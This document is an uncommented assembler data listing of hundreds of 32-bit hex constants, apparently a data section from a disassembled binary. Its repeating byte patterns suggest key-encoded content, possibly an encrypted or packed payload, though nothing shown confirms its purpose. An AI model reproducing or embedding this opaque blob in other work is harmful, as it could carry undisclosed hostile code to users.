dd 304E28C4h, 576D4BD7h, 0E42B841Fh, 817721AAh, 591442A0h
dd 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh, 2BB42414h
dd 63E78CD7h, 0F594A6FFh, 2F2h, 50997715h, 89245C72h, 0D5DF830h
dd 422DEB90h, 0ECFE6714h, 5F7B5617h, 4B30AD0Fh, 71442A0h
dd 1F788C6Bh, 21AA380Dh, 42A08777h, 7B565714h, 7D4E185Fh
dd 42FC2A77h, 20920214h, 14613F28h, 0D99FCFAEh, 0AA59E36h
dd 1FE461B1h, 0BB144296h, 4A264052h, 0C6757B29h, 0AD060F7Ah
dd 0B921AA66h, 6E159212h, 0EC1442A0h, 0C69FD57Ch, 166FCAE3h
dd 19F492CFh, 182AC5FDh, 209225F6h, 748FED56h, 0C9698B39h
dd 0C6121F7Fh, 28453E50h, 0B45DD833h, 19607A56h, 7A567D4Eh
dd 879E1060h, 0FB0DBC0Bh, 0C8E7D37Eh, 0FF58EEC8h, 6D7F9573h
dd 7721AA98h, 0AFA55527h, 0D35E6DF7h, 0F492F193h, 0CFE9FB1Bh
dd 0EB89D9F3h, 0F810F10Ch, 4B0375EBh, 0D1FBAF2h, 17F49238h
dd 7A9A73FFh, 56754668h, 35552E79h, 10EE8CDCh, 0A812BF3h
dd 2A838A6Fh, 0ECCB57F2h, 0F305A0D8h, 9221AA1Eh, 0C7FF17F4h
dd 24001A2Ch, 21AAC30Ah, 93D3E6E5h, 1AF492F1h, 1729C4FCh
dd 0FAD520FDh, 4E3E85DEh, 0DFFBD674h, 7A56F8CDh, 0A017EC69h
dd 5AC31442h, 2092BA01h, 37904E57h, 837E5048h, 0AD797F17h
dd 0D1EDC854h, 56CC9DBFh, 0AA1A6179h, 0B3309221h, 1442A0CCh
dd 0F50F218Ah, 0AAB7FE1Ah, 0BC54A618h, 50A51E99h, 556D693Eh
dd 4BC8DDB7h, 1442A0B4h, 4E60B922h, 0F193D379h, 785A7956h
dd 3BF12538h, 0D70F2F08h, 3A8AE33Ch, 6FA7BF9Ch, 92EDC2D4h
dd 0A0CCB330h, 218A1442h, 7513ED0Fh, 976C7E9Ah, 1A617956h
dd 0B17721AAh, 8911C0E5h, 115C7756h, 72D5C2C0h, 26C80059h
dd 0C1E857A3h
dd 280591BDh, 0F774D810h, 7F8E034Fh, 0FB1BF492h, 791628C3h
dd 771C8ECDh, 4721A836h, 0ED0BE571h, 795606DBh, 7D4E1A61h
dd 0F49212B9h, 27EDFF17h, 5F7B569Eh, 567D4E18h, 0AA1C6377h
dd 0E7CBA618h, 1292F210h, 20922B00h, 0F5FA526h, 7DCDB9h
dd 1442D27Bh, 0B25C6ED7h, 637756F1h, 567D4E1Ch, 0AA1C6377h
dd 16F49221h, 7ED7F1CDh, 4037B446h, 0E1442A0h, 413A4CA5h
dd 1442A0BAh, 83A17B19h, 556D9C71h, 0A08176F3h, 0EE3E1442h
dd 0DAB16362h, 0ABBD2677h, 0B33092D6h, 1442A0CCh, 859734Fh
dd 0B4F08D9Fh, 0B330920Eh, 1442A0CCh, 3E991A8Ah, 7ADAEEC6h
dd 16F50F21h, 7D4EBB02h, 0FD19F492h, 0FE182AC5h, 59BB0B1Fh
dd 42A027DCh, 384AB314h, 0A618AA63h, 520027BBh, 6B405251h
dd 42A08077h, 5E6D5814h, 76E893D3h, 0CE4BAA66h, 36195D3Eh
dd 795BE1CCh, 56390E20h, 921C6377h, 0A0CCB330h, 218A1442h
dd 0B91CED0Fh, 5621AA12h, 0AA1C6377h, 9212B921h, 42A06215h
dd 7754F014h, 0FE36502Ch, 40D20A63h, 42A03CC3h, 0D8319A14h
dd 7D4E387Fh, 1C637756h, 1DAE7D4Eh, 0F069Eh, 79562D00h
dd 23A502Eh, 4CBE0E67h, 2749DAB8h, 0D2A7B9DCh, 8F7721AAh
dd 5F1442A0h, 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh
dd 47B42414h, 0AB26A8BBh, 6C0B1D76h, 614h, 597A5695h, 4B449099h
dd 337AD3C6h, 39B618AAh, 1442A042h, 0C095A710h, 16F492h
dd 0E0F6D4EEh, 7721AA99h, 3DBB784h, 2F785654h, 99E03953h
dd 20927D4Eh, 0B6BDB784h, 251E308Ch, 4B00FA1Ch, 607A5648h
dd 567D4E19h, 0AA19607Ah, 62785621h, 7F977412h, 0C59AAC47h
dd 5E6D21AAh, 86E893D3h, 42A07209h, 6577E014h, 607A5690h
dd 0B97D4E19h, 9221AA12h, 0A0CCB330h, 0EE8A1442h, 8C9EF713h
dd 78779472h, 165B5F79h, 4E79C019h, 9205C67Dh, 0E9C81BF4h
dd 0A9447CD5h, 0A0D99E97h, 0D8761442h, 0BCD6B2F9h, 7E90E984h
dd 925E6DA9h, 0EDFF17F4h, 0AE6E1450h, 607A561Dh, 79997210h
dd 0BC5F9F41h, 7E745296h, 0AA3E1325h, 7F0E4521h, 0DBED03E1h
dd 0D317B406h, 7A56F193h, 7D4E1960h, 0CCB33092h, 8A1442A0h
dd 19F50F21h, 963DAFFFh, 0CA7009BDh, 0AA9B7082h, 1BF49221h
dd 1628C3FBh, 42A0631Dh, 3D80F214h, 64D33613h, 0C2582D3Fh
dd 0F193D309h, 4E2D7A56h, 0A031C643h, 349D1442h, 7C08A3DBh
dd 0B44F879Fh, 744E145Bh, 0A0EE9512h, 6E5D1442h, 0BE8A212Dh
dd 127BCCh, 607A562Bh, 19209219h, 65B85248h, 97BDFC5Ch
dd 9B453FAEh, 773AC389h, 5093A2B9h, 6BDDE591h, 0A2A274D3h
dd 0FFD4E683h, 56F193D3h, 9219607Ah, 9DB59230h, 42A04D32h
dd 0D9F1CE14h, 4CB506A1h, 0A03E183Ah, 0C69BADC1h, 0FB1BF492h
dd 18F5C3h, 22421BA7h, 1AF610h, 7721AAB9h, 82DD18E5h, 0D30BC0B5h
dd 0F492F193h, 0CFE9FB1Bh, 4E92D9F3h, 6179567Dh, 16F4921Ah
dd 9F28EE00h, 0EAAD9777h, 0DDE56756h, 3446663Fh, 0F193D35Fh
dd 0CCB33092h, 8A1442A0h, 0A0D6AD2Ah, 1B841442h, 0B996B0C2h
dd 20925AA1h, 0D3136F8h, 3B5D6FCEh, 18F4926Ah, 0F5D2ECFEh
dd 0A09269E6h, 0D7401442h, 21AA377Eh, 0ABE3C377h, 0E6E59B7Dh
dd 56F193D3h, 4E1A6179h, 6179567Dh, 5621AA1Ah, 0AA19607Ah
dd 0D35E6D21h, 7956F193h, 0A016ED6Ah, 5BC41442h, 7D4EBB02h
dd 0EE6B7856h, 1442A009h, 0A0B249C6h, 0B7201442h, 5DA4FD66h
dd 0F49221AAh, 0F0E9FB1Bh, 7DABE348h, 46209214h, 4C5D7FE9h
dd 512F495Bh, 0D9112D08h, 4E9EE53Eh, 6179567Dh, 17F4921Ah
dd 9E27EDFFh, 12627856h, 1C3612B0h, 19DE49E4h, 0B51442A0h
dd 0AA653A4Ch, 0D35E6D21h, 7956F193h, 7D4E1A61h, 12627856h
dd 0F17D9974h, 29C4FC14h, 7D4E4217h, 165D7D56h, 7E7721AAh
dd 4E58B6A4h, 165D7D56h, 7D567D4Eh, 0BE3B502Ah, 1442A039h
dd 9BD32C95h, 0E557A700h, 0B406EB43h, 0AA00B9B7h, 29B31272h
dd 0AAF0C5D7h, 16F49221h, 1826C800h, 7F875D75h, 0DDD6E841h
dd 26F2516Ch, 0D3E6E508h, 7D56F193h, 0F492165Dh, 0C7E9FB1Bh
dd 5D7D56F6h, 4521AA16h, 17B4870Fh, 56F193D3h, 4E165D7Dh
dd 567D567Dh, 14E4183Fh, 3C83DC9Bh, 209221AAh, 72748E3Bh
dd 4F485ADBh, 61E5EC6Ch, 3EDCE6ECh, 410F4763h, 76114967h
dd 0D3360B1Dh, 7D56F193h, 7D4E165Dh, 0FC1AF492h, 0D7F7D0EAh
dd 7721AA90h, 6F91EA5Ah, 93B18B29h, 0FF112B07h, 6BDDE52Ah
dd 0F514DF45h, 360B1D12h, 92F193D3h, 0A0CCB330h, 218A1442h
dd 0FC1CF50Fh, 567D4EB5h, 0AA165D7Dh, 9F517721h, 0E529531Ah
dd 0F193D3E6h, 165D7D56h, 9512744Eh, 1442A0EEh, 1CF1036Ch
dd 165D7D56h, 209221AAh, 0F59E0865h, 261F31A7h, 7B96A147h
dd 0D3E6E515h, 0F492F193h, 0D3EDFF17h, 0EC8ADAFAh, 11E6F80Eh
dd 79567D4Eh, 0A016ED6Ah, 48C51442h, 1442A0B3h, 0FC65B61Fh
dd 21AA5CA3h, 0E9667D56h, 1442A012h, 0B7FE57C0h, 5E6D21AAh
dd 56F193D3h, 4E1A6179h, 0DDFDD674h, 7D56F6CBh, 0FD354D2Ah
dd 4EC20962h, 607A567Dh, 4A31AE10h, 81442A0h, 4EB88D9Fh
dd 5E7C567Dh, 0C621AA17h, 2B7C5605h, 60FB3351h, 7D4EC007h
dd 0EA677C56h, 1442A015h, 0B8FF58C1h, 0F49221AAh, 0F0E9FB1Bh
dd 1442A00Bh, 0D35E6DD1h, 6C4AE893h, 926F4456h, 0A0CCB330h
dd 0EE8A1442h, 52A2FB0Fh, 42A02ED5h, 3143AC14h, 13EC3D17h
dd 0C720BBF3h, 567D4E80h, 0AA175E7Ch, 0A0807721h, 0B14F1442h
dd 0BE45C2D7h, 1C1442A0h, 73485AB3h, 93D3E6E5h, 5E7C56F1h
dd 7896700Eh, 0BE93A540h, 64CE2092h, 0BD15AF07h, 2A3C5431h
dd 9B93708h, 0A0552AA7h, 98011442h, 18AAB186h, 799C34A6h
dd 99ABDDB9h, 5E7C56C4h, 0B921AA17h, 62159212h, 0F11442A0h
dd 0A06D128Fh, 80E91442h, 0C90115F4h, 0D43D1C2Eh, 927D4E8Dh
dd 0A0CCB330h, 218A1442h, 0FD1BF50Fh, 16F492B6h, 1B2DC800h
dd 0A3811FF9h, 0AEA67B8Dh, 6377561Dh, 81977513h, 21AA9A6Fh
dd 29617956h, 92BE658Eh, 1CFDBE30h, 517C6D72h, 87B1463Fh
dd 801E1442h, 3F7F81A6h, 0E7B2F37Ah, 0A9BB568Eh, 4E1A61CAh
dd 0F274777Dh, 92441442h, 0EDFF17F4h, 90E0F4D3h, 0A0CAB12Eh
dd 1F881442h, 7D4E380Dh, 0B842092h, 6D46F3BDh, 4C64415Bh
dd 7721AA05h, 7468F86h, 6BDDE556h, 7F60B291h, 582D3F1Dh
dd 56F193D3h, 48705A79h, 8070791Dh, 0B44F87A7h, 4EBB025Bh
dd 6179567Dh, 0B618AA1Ah, 42A04239h, 95A71014h, 637756C0h
dd 15F4921Ch, 1C2EC901h, 0E6E5CD56h, 76E893D3h, 0D522423Dh
dd 0DEA5229Bh, 7C144230h, 0D3A8BA13h, 1A617956h, 79567D4Eh
dd 21AA1A61h, 468F8677h, 556D5607h, 0ADBFDDB7h, 0F193D3D8h
dd 1A617956h, 0FF17F492h, 0A04D32AFh, 0A0091442h, 0B99B6C8Eh
dd 5621AA12h, 4E1C6377h, 7705C67Dh, 1442A080h, 63775658h
dd 6A7E5D2Bh, 5C23A032h, 0FA1442A0h, 98CC9591h, 0C10926D1h
dd 116A0FE8h, 93D38D9Ch, 7614AEF1h, 0AB467E9Ch, 0B89EC499h
dd 2D000008h, 42A21677h, 7B56E614h, 0DF384E2Ch, 0CBB02D8Fh
dd 871442A0h, 0AA370C1Eh, 9212B921h, 0E9FB1BF4h, 0A0E98E0Bh
dd 0C8661442h, 0CD9BD3EBh, 6A1D9EFh, 2A4621ADh, 664557F2h
dd 7D4EB6FDh, 807705C6h, 581442A0h, 93D3E6E5h, 0C61DAEF1h
dd 0A709B905h, 42A0552Ah, 24A10114h, 1442A05Fh, 273992FBh
dd 6E159252h, 0ED1442A0h, 0A0690E8Bh, 7CE51442h, 0DB228B6Ah
dd 77567D4Eh, 21AA1C63h, 42A08077h, 77565814h, 96751363h
dd 4E9B7082h, 9212B97Dh, 42A06E15h, 3C83EC14h, 0CCB33092h
dd 8A1442A0h, 1431C121h, 9E1B1ACh, 56A831F7h, 0AA1C6377h
dd 925E6D21h, 0EE0016F4h, 0F4661551h, 0AD2A5039h, 14426AD6h
dd 4ABB1B84h, 92A6B9AFh, 0ECCBCA11h, 0B9AC8193h, 6C59709h
dd 69C9E5C0h, 676BF9A0h, 9FC83610h, 0F4C9DB34h, 0A06E1592h
dd 83EC1442h, 18F4923Ch, 192BC6FEh, 5F3BD93Bh, 453A3345h
dd 111442A0h, 0DCBA58A8h, 0E7C08EC6h, 875C6EC7h, 30927D4Eh
dd 42A0CCB3h, 0CB0D7B14h, 0E0E9E8FCh, 0FA14268Fh, 0EC93101Bh
dd 6A144250h, 4E61A801h, 42A10274h, 7B133F9Eh, 0F4929469h
dd 2DC80016h, 0A26011Bh, 567D4EC3h, 710F5F7Bh, 2D097594h
dd 0B520DDECh, 0AA754A5Ch, 0A0807721h, 0ED4F1442h, 0ED58744Fh
dd 1442A016h, 4091AF89h, 54ADC9A4h, 556D6D42h, 0F36234E3h
dd 8FA16DBBh, 0F193D3BAh, 0CA19F492h, 49FD7EBh, 0C6D873ABh
dd 6EB5D1ACh, 7B567D4Eh, 18AA185Fh, 104BCA6h, 69B925B7h
dd 420017ECh, 485AC314h, 0A0807773h, 0E5581442h, 0B33092E6h
dd 1442A0CCh, 0F911EE8Ah, 0B5F18EA0h, 5F7B560Fh, 16F49218h
dd 1B2DC800h, 0F49228F9h, 2EC90115h, 42A03CC3h, 8319A14h
dd 8EE1BA58h, 2D3F98B2h, 9221AA58h, 71FD19F4h, 0AA457D93h
dd 87A37E98h, 8221AA40h, 2FA847ABh, 0AF567F3Dh, 0A0621592h
dd 80F01442h, 1D5DEDCh, 0D6DBA4F7h, 0BE0EC323h, 1590028Dh
dd 0BD16B2ECh, 0E43D5331h, 567D4E9Dh, 4E185F7Bh, 6179567Dh
dd 0BE658E29h, 1DAE21AAh, 1A617956h, 0F9A618AAh, 632A3E95h
dd 0B9BF94A6h, 6E159212h, 0EC1442A0h, 245C7250h, 4EE93089h
dd 577C567Dh, 3FCD6426h, 3980D9D6h, 8CA618AAh, 15F7D138h
dd 92DF6E92h, 88CB1B32h, 4243740Bh, 2079E214h, 0F492390Eh
dd 2EC90115h, 0A8EC231Ch, 92B41442h, 0C5FD19F4h, 0CF229023h
dd 2C8504E7h, 0F3AA62CCh, 92A452BEh, 31819D78h, 0A1AD52CFh
dd 0C0291442h, 21AAD9AEh, 209212B9h, 1B6E6835h, 7E5F7B3h
dd 4252F58Ah, 0A8F86114h, 5232C946h, 37A01442h, 0E07D39D7h
dd 1E30B470h, 927D4E49h, 0A0CCB330h, 218A1442h, 0FD9B650Fh
dd 1FF40622h, 42A08077h, 0E6E55814h, 0AEF193D3h, 65DDA214h
dd 5F0B221Ah, 42E71DE2h, 0F750B914h, 66DD3F97h, 8FA1EAD5h
dd 667D56BAh, 0A0F08704h, 0F55E1442h, 42A0F58Ah, 0EAC56114h
dd 0AE975CEh, 0AA569DF6h, 9212B921h, 42A06E15h, 0C27BED14h
dd 0D09AB11Fh, 0A20BEAFCh, 707FE052h, 4E34CB48h, 39A21442h
dd 88F5D6D9h, 7D4EA176h, 0CCB33092h, 8A1442A0h, 92160F21h
dd 0EA34D7C0h, 16F492h, 0DBFBD4EEh, 927D4E94h, 0A0CCB330h
dd 1A8A1442h, 47DC150h, 93A5FE62h, 38DB9C9Ah, 0F492F436h
dd 30ADFD19h, 1442A04Bh, 728C9E07h, 4E347B97h, 0F0C00274h
dd 4530FEBDh, 7F1A5266h, 923F1426h, 0C6FE18F4h, 24FF192Bh
dd 21AAC108h, 51AF492h, 42A0F388h, 9DF65F14h, 0DD6ACA65h
dd 6408AA4Dh, 57304A5Ch, 18AAF037h, 866941A6h, 30427F36h
dd 0D30BC05Bh, 7B56F193h, 97710F5Fh, 94A64179h, 567D4EBFh
dd 4E165D7Dh, 5F7B567Dh, 7721AA18h, 1442A085h, 0D309C255h
dd 7B56F193h, 0F492185Fh, 2CC7FF17h, 5627F81Ah, 0AA185F7Bh
dd 923F8C21h, 0EE0016F4h, 7B56FBCCh, 21AA185Fh, 42A08577h
dd 35965514h, 56F193D3h, 4E185F7Bh, 0EE951274h, 6C1442A0h
dd 849FA303h, 3C7180DEh, 2092552Ah, 58FA8FC1h, 20401966h
dd 0C09BB5C7h, 0D9B654A4h, 54B64DCAh, 0BB241442h, 0AA7B5062h
dd 82A07A18h, 0C89DAF4Ah, 0ECBC477h, 0E5E69439h, 0FE18F492h
dd 7C192BC6h, 20929AC8h, 60A0C667h, 7F979999h, 1C1C98C2h
dd 1F673C3h, 0CD14424Ah, 5D385264h, 744EFA41h, 93D7FCD6h
dd 0AB4E3A11h, 963169C2h, 0DC142E0Ah, 565A2F41h, 0AA1A6179h
dd 843C7721h, 920C120Dh, 0A0CCB330h, 754F1442h, 8B9D0657h
dd 33759471h, 7741165Bh, 62C4146Dh, 423D1EE5h, 0BFD9AD14h
dd 8C36342Ch, 6A46D23Bh, 6B7D1850h, 567D4E96h, 9F116179h
dd 0B6809249h, 0CFA4B696h, 7721AAh, 0D829B99Dh, 93D35E6Dh
dd 2E7956F1h, 102E084Fh, 0ACE43DD8h, 0CA68B811h, 0FE99D1F1h
dd 7D4E17ECh, 1A617956h, 0C4521AAh, 920DBE8Ah, 0C80016F4h
dd 0C67E1B2Dh, 6179569Ch, 567D4E1Ah, 19545A79h, 0FE24FC01h
dd 8F0B5A9Eh, 55EDD40h, 0B82092BEh, 3B45F1E6h, 0C64F1527h
dd 1D9B8677h, 0D4AF4D21h, 0D3E580B8h, 0D30BC0FEh, 7956F193h
dd 0FF37532Eh, 0E2FCD864h, 6FB60FAAh, 79567D4Eh, 18AA1A61h
dd 4B839F7Ah, 77C99EB0h, 3A3A3C10h, 0D3E6E5E8h, 0F492F193h
dd 9372FE18h, 76536D7Fh, 7D4E175Eh, 185F7B56h, 795621AAh
dd 32AF1161h, 1442A04Dh, 3340A009h, 727ACF6h, 0AA986D7Fh
dd 4239B618h, 101442A0h, 6DC095A7h, 0F193D35Eh, 0CCB33092h
dd 8A1442A0h, 1AF50F21h, 7D4EB7FEh, 0E65A7956h, 60C493AEh
dd 4E4A91EAh, 5F7B567Dh, 0B3309218h, 1442A0CCh, 0F812EE8Ah
dd 0BACC25C0h, 20926BF4h, 784CF613h, 0A2E909BFh, 197131F4h
dd 0BA94AEC0h, 7D4E559Ch, 0F5F7B56h, 6C7E9271h, 0D6744E97h
dd 0AA5DDFDh, 9B923F8h, 0A0552AA7h, 98011442h, 0F492B186h
dd 29C4FC1Ah, 0A0A75CD9h, 0CA331442h, 0A65DDAB8h, 341442A0h
dd 0A0A057D4h, 0CE2E1442h, 42A0AA51h, 66BF2814h, 0F492C60Dh
dd 2DC80016h, 92CC551Bh, 8A0718F4h, 1442A0F5h, 679FF861h
dd 4AA3BD99h, 8EC6E4BEh, 0EDC7E1F3h, 0F49288CFh, 26ECFE18h
dd 0FF1BF694h, 427A9A73h, 6DC095A7h, 6D3FE355h, 47374BFEh
dd 8BC3E1BBh, 9209DEF0h, 0EEF817F4h, 5EE5D7A8h, 67023A93h
dd 0D68CB855h, 0FA9709B9h, 0D602117h, 92BB90A2h, 42A06E15h
dd 0E8BED14h, 1442A069h, 730885E5h, 0DF1442A0h, 2C0B1D76h
dd 6199B590h, 92266DC6h, 42A06E15h, 3C83EC14h, 0F4927D4Eh
dd 28C3FB1Bh, 422FC16h, 1D3D16B4h, 0F492360Bh, 0CDEF0115h
dd 0AA12B9FCh, 8AA17A18h, 42A0760Dh, 227BE414h, 12B93B10h
dd 0FB1BF492h, 501628C3h, 18F492C7h, 0F5D2ECFEh, 7D4E96DDh
dd 1B627856h, 5C621AAh, 1B627856h, 78567D4Eh, 18AA1B62h
dd 317AA17Ah, 4EFA1EDAh, 0AA5DD36h, 807723F8h, 581442A0h
dd 93D35E6Dh, 627856F1h, 567D4E1Bh, 0E9D85B78h, 0C5651A97h
dd 88F11442h, 918B928h, 21AA69B0h, 42A08077h, 5E6D5814h
dd 92F193D3h, 7F893620h, 42A37D02h, 1070D914h, 33B0C287h
dd 1442E34Ch, 3648A10Ah, 19F53E1Ch, 0D32CC7FFh, 827D4E8Ch
dd 90BCB7BFh, 38DF08BDh, 785621AAh, 21AA1B62h, 159212B9h
dd 1442A062h, 4E4087F0h, 6278567Dh, 0AE7D4E1Bh, 50977614h
dd 85205876h, 92451A2Ch, 0EEC81BF4h, 0A4FD98D0h, 0A5BFD16Ch
dd 0EC5EAECAh, 16434972h, 0B58A9CE8h, 0FCC621AAh, 5567835Eh
dd 16F49280h, 0F9D4EE00h, 7D4E96DDh, 0EB687B56h, 1442A014h
dd 0A0B146C3h, 0B41D1442h, 5AA1FA63h, 807721AAh, 581442A0h
dd 0DEB7556Dh, 5DDBF6B7h, 156EE9B4h, 93D32E03h, 5F7B56F1h
dd 7B95710Fh, 20929469h, 0C523D8EAh, 0E2FCD801h, 0A4B60FAAh
dd 7B56B182h, 21AA185Fh, 42A08077h, 5E6D5814h, 56F193D3h
dd 710F5F7Bh, 0A9447C94h, 0EC24441Dh, 4E6A3F51h, 0E1F9D674h
dd 0A06F1491h, 82EB1442h, 12B99B70h, 7B5621AAh, 21AA185Fh
dd 9A709B9h, 0D3A8132Dh
dd 7F1442A0h, 922F0416h, 42A06215h, 4087F014h, 2D02744Eh
dd 9E712AD6h, 56DEB3C5h, 14EB687Bh, 0C21442A0h, 0F52D4D26h
dd 61A8015Ah, 77567D4Eh, 67902B63h, 223E19B7h, 0F4923B10h
dd 26ECFE18h, 561DAE9Dh, 9D0F5F7Bh, 7F5AF653h, 0DEBF0363h
dd 9DAA51CEh, 0BF281442h, 0AA7F5466h, 0EC8F7721h, 0E4566A0Ch
dd 4FACF1EBh, 7D9974D8h, 563D1224h, 710F5F7Bh, 93687A96h
dd 30927D4Eh, 42A0CCB3h, 0F218A14h, 0B7FE1AF5h, 3F8C21AAh
dd 0FCD6744Eh, 56F7CCDEh, 0AA1A6179h, 0A0847721h, 56541442h
dd 4E1A6179h, 0E2F8D674h, 4DBC5082h, 0F709AE6Fh, 16F49222h
dd 80967400h, 5F77546Eh, 7721AA18h, 553EA9EBh, 0D35E6DC3h
dd 7956F193h, 744E1A61h, 0A0EE9512h, 53311442h, 7183EC3Dh
dd 0B330929Ch, 1442A0CCh, 0F50F218Ah, 419DF918h, 586F4888h
dd 21AAB8FFh, 0B8C71577h, 5E6DE575h, 56F193D3h, 3B4F2E79h
dd 20929BE2h, 20FDB2F0h, 0D535D008h, 2908B591h, 0E942DD15h
dd 56E4B5D7h, 0AF116179h, 42A04D32h, 6990914h, 0E0F83196h
dd 1AEF015Ah, 0E3C12092h, 0C889D4FAh, 5667F0B6h, 0F556587Bh
dd 7A717CFFh, 26C2F91Ah, 51AAA85Eh, 5621AA0Ah, 58265E7Ch
dd 0C4FF5B7Ch, 0FB4B3AEh, 0CFDC7EB6h, 5AA78032h, 5C0885A7h
dd 0D3181714h, 7956F193h, 7D4E1A61h, 1A617956h, 309221AAh
dd 42A0CCB3h, 0F218A14h, 0B8C7F416h, 0E6E58475h, 0FF17F492h
dd 7D1A2CC7h, 30929BC9h, 42A0CCB3h, 95218A14h, 748EA0B8h
dd 4E387F97h, 7AA10274h, 554A31AEh, 9F081442h, 224BA43Fh
dd 79563B10h, 21AA1A61h, 0FB1BF492h, 0A960F0E9h, 0C133553Eh
dd 3EBB4A30h, 553E78B9h, 2B4CAC15h, 0DCB1C32Bh, 0F492E6E5h
dd 2CC7FF17h, 9BC97D1Ah, 1A617956h, 79567D4Eh, 0EB9F1161h
dd 0D2862248h, 0AAE3B8CAh, 5F7B5621h, 12744E18h, 42A0EE95h
dd 0F1036C14h, 0CE30921Ch, 42A0AA51h, 54BF2814h, 1442A0AFh
dd 0C0F816F0h, 596BD425h, 0D653623Fh, 1442A021h, 0A4EB44ADh
dd 7C567D4Eh, 0A015EA67h, 58C11442h, 18AAB8FFh, 0D2D58DA6h
dd 0A5B74613h, 885677D0h, 0AB1D4ECCh, 6EF2DFA3h, 0EBC652FBh
dd 56E8BDCFh, 4E175E7Ch, 5E7C567Dh, 9221AA17h, 405A0720h
dd 96363BBDh, 15E6FBB4h, 787183DCh, 1B27C7C3h, 925E6D99h
dd 0A0CCB330h, 218A1442h, 9032720Fh, 0E5E7C56h, 65779770h
dd 927D4E90h, 7FC54620h, 0B9CB1CCDh, 61A8C49Fh, 7C5621AAh
dd 0DC354F2Bh, 0FC3B1A8Ch, 410D6868h, 42D43FC4h, 0D9329B14h
dd 3092F2C7h, 42A0CCB3h, 0FEE8A14h, 0CF28C3FBh, 144C6843h
dd 0FA16779h, 6A7C9471h, 0D3884395h, 6C4AE893h, 926F4456h
dd 7F51AF4h, 7A6CEA43h, 0BBD5E740h, 99B791E0h, 266DC661h
dd 0FC1AF492h, 56F7C8EAh, 3BCA577Ch, 0CF4DED71h, 0F4922F76h
dd 28C3FB1Bh, 0A5CE1CC8h, 5365F91Bh, 0E0B95731h, 56D9AEC0h
dd 92185F7Bh, 99B99230h, 42A0492Eh, 8A9C0514h, 6B773BC4h
dd 43741F45h, 93D3E6E5h, 17F492F1h, 7AD3F3CCh, 7B95A742h
dd 4E3D84A0h, 0DFFBD674h, 0FDAC0CA7h, 1E074E1Fh, 92BC91A3h
dd 0A0CCB330h, 0E8B1442h, 1442A069h, 8F2B7CE5h, 0C8639BB1h
dd 68435D6Fh, 825EFC4Ch, 0AA815668h, 839F7A18h, 0C99EB04Bh
dd 0ADADDB77h, 5E6DB33Eh, 0CCB33092h, 8A1442A0h, 32720F21h
dd 5F7B5690h, 567D4E18h, 0AA185F7Bh, 18F49221h, 0F3D2ECFEh
dd 21AA98DFh, 93D35E6Dh, 5F7B56F1h, 0D6744E18h, 0FAAE2F8h
dd 7B5628FDh, 0DC35512Ch, 451C1A8Ch, 0F1293F1Dh, 0A7B0F656h
dd 0AAB58A9Ch, 0ADDB7721h, 0E5B33EADh, 0E893D3E6h, 0A0720986h
dd 77E01442h, 7B569065h, 3092185Fh, 0C7FA52BEh, 9E09A37Bh
dd 1442ABD9h, 0D8FA0C75h, 51209207h, 0D3D78AF8h, 0E2BFD9EBh
dd 21AA83CAh, 2168464Dh, 0FCD6744Eh, 6A118EDEh, 0E81442A0h
dd 92986D7Fh, 0EE0016F4h, 69E6F9D4h, 1442A092h, 7826D040h
dd 110D93BFh, 374F2CB8h, 309297DEh, 42A0CCB3h, 0F218A14h
dd 0E4771CEDh, 0B41442A4h, 1A617956h, 39B618AAh, 1442A042h
dd 0A9E1F7D5h, 4254BD0Eh, 9212B96Dh, 42A06E15h, 107BED14h
dd 1801FF9Ah, 0A50EEDFFh, 0B330925Eh, 1442A0CCh, 0ED0F218Ah
dd 0AA12B91Ch, 18F49221h, 192BC6FEh, 0C40B21FFh, 0CCB33092h
dd 8A1442A0h, 1CED0F21h, 0FB1BF492h, 0A3F6CFE9h, 0A977AFC5h
dd 0DD78B0D0h, 0AAE42B84h, 5605C621h, 4E165D7Dh, 607A567Dh
dd 1BF49219h, 1628C3FBh, 3092C750h, 42A0CCB3h, 5C704F14h
dd 0CF388924h, 0AACAA3BDh, 1BF49263h, 1628C3FBh, 7E77C750h
dd 452B79E8h, 4D6B45E3h, 680F7A15h, 0E62B79E9h, 0F851714Ah
dd 40788E6Ch, 92BE93A5h, 9CB69230h, 995EC964h, 261442A0h
dd 0CDC2C67Dh, 970051E8h, 3152F0Bh, 0A9F010E9h, 30927D4Eh
dd 42A0CCB3h, 0F218A14h, 79E89B16h, 0F492F12Bh, 28C3FB1Bh
dd 620FC16h, 2744EBFh, 1A303833h, 7106833Dh, 0DD1442BBh
dd 34091B74h, 19607A56h, 7D5621AAh, 906F0D5Dh, 0A0730885h
dd 76DF1442h, 384AE51Dh, 19F49263h, 182AC5FDh, 0BC0C952h
dd 86E893D3h, 42A07209h, 6844E014h, 227B164Eh, 0E14C64C2h
dd 4052A990h, 597A566Bh, 7E87C7DCh, 0EC338C8Ah, 7D567D4Eh
dd 7D4E165Dh, 165D7D56h, 7A5621AAh, 21AA1960h, 265E7C56h
dd 29617D58h, 2B63815Bh, 98CC9390h, 0D35463D8h, 714AE893h
dd 6C7E1951h, 5D7D5697h, 15F49216h, 1C2EC901h, 0A68220FAh
dd 0A7B9548Ch, 607A56D2h, 1BF49219h, 1AF5C3FBh, 0D22BC6FEh
dd 56CD9EC0h, 0AA165D7Dh, 0A0807721h, 0B14F1442h, 0D7ACBED2h
dd 93D35E6Dh, 5D7D56F1h, 340DAB0Dh, 0D641DC14h, 1442A021h
dd 5D3244ADh, 7D567D4Eh, 21AA165Dh, 39627856h, 6E159292h
dd 0EC1442A0h, 21AA3C83h, 93D30BC0h, 720986E8h, 0E01442A0h
dd 56906577h, 4E165D7Dh, 0AA12B97Dh, 5D7D5621h, 0A618AA16h
dd 91924D4h, 54293B43h, 93D30BC0h, 6E1592F1h, 0EC1442A0h
dd 92B35A83h, 42A06E15h, 744FED14h, 2CF49151h, 0EA43A0EBh
dd 260517B2h, 7D4E76BDh, 165D7D56h, 468221AAh, 0B9544306h
dd 7CB4C8A7h, 0BB3888E1h, 144296C4h, 59002992h, 0A06E1592h
dd 83EC1442h, 0C021AA3Ch, 0F193D30Bh, 165D7D56h, 14AE7D4Eh
dd 1C3A14B2h, 19DE49E4h, 0A61442A0h, 0D51A59D5h, 1CB809E8h
dd 55F0283Eh, 4D15EAFCh, 92256C42h, 0A6B84B15h, 59A00913h
dd 785621AAh, 92923962h, 0EBFD19F4h, 42779C25h, 1A6464FEh
dd 93D30BC0h, 9212B9F1h, 42A06E15h, 3C83EC14h, 15927D4Eh
